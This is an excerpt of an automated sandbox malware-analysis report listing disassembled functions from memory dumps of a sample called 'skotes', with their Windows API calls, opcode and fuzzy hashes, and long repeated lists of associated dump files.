Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: dc13db13a9166ac3b751fe8f732b3127cb248ee038a7e3bf85c74c4ec8e75f2d
Instruction ID: fd50b51f0de64ce28dedb46cbd9dd95fa76e5b4391fd066505a585be6b4087bf
Opcode Fuzzy Hash: dc13db13a9166ac3b751fe8f732b3127cb248ee038a7e3bf85c74c4ec8e75f2d
Instruction Fuzzy Hash: A9D012307C4318B6F22002A02C0BF56AA209B0EF11F268042B3883F1D0C6E8310046A8

Function 001C8380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 001C8524

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 379da03134b1353c0c5089f78ecebbd94b13ac1fe51a9458ed4cd79436f666ca
Instruction ID: 6de2de5f0e166a6d0922ceca0af248493b31ccedce6787bab33d838ce2398ec4
Opcode Fuzzy Hash: 379da03134b1353c0c5089f78ecebbd94b13ac1fe51a9458ed4cd79436f666ca
Instruction Fuzzy Hash: 36514770D002189BDB28EB68DD85BEEB775EB65310F5042ADE408A73C1EF75DE848B91

Function 001C8B30 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetTempPathA.KERNELBASE(00000104,?,BEAAE258,?,00000000), ref: 001C8B77

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: 453c8cec90c1532909b8b4452fd5f91077d11c86ee9ec54103952aff1c6ffae5
Instruction ID: 77e7e88babc1405d83057f6f59766cec27c804ce372a44483516a899e2291a8f
Opcode Fuzzy Hash: 453c8cec90c1532909b8b4452fd5f91077d11c86ee9ec54103952aff1c6ffae5
Instruction Fuzzy Hash: 5251D3719001289BDB28DB28CC95BEDB775EB56310F1081DDE40AA7381DB359F84CF95

Function 001F7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?,?,?,?,001F705B,?,?,00000000,00000000), ref: 001F7166

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: a8166af4eca50f4f6dd22487f5349aac43c3861ee2fb5420ecc5ca6ec87ad5ca
Instruction ID: 384956a3472f41abb7ff6b3bfce592b44bcaaed8ef1267d1022c5f9539d51b56
Opcode Fuzzy Hash: a8166af4eca50f4f6dd22487f5349aac43c3861ee2fb5420ecc5ca6ec87ad5ca
Instruction Fuzzy Hash: 5111EC7290810DEBDB10DED5C945EEF77BCAB48310F615266E612E2180EB30EB49CB61

Function 001FAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 001FAC8D

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: c68f77cda16ca33f26b30a1609036fb815927847fae670e9e00b41cc59aa5dce
Instruction ID: 33640137ec77743e24f5f9f63f75185664be4b424341144e72b33534127b9cb4
Opcode Fuzzy Hash: c68f77cda16ca33f26b30a1609036fb815927847fae670e9e00b41cc59aa5dce
Instruction Fuzzy Hash: B51115B5A0420AAFCB05DF98E94199A7BF4EF48314F044069F809AB251D730EE25CBA5

Function 00201775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00201B65,?,?,00000000,?,00201B65,00000000,0000000C), ref: 00201792

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
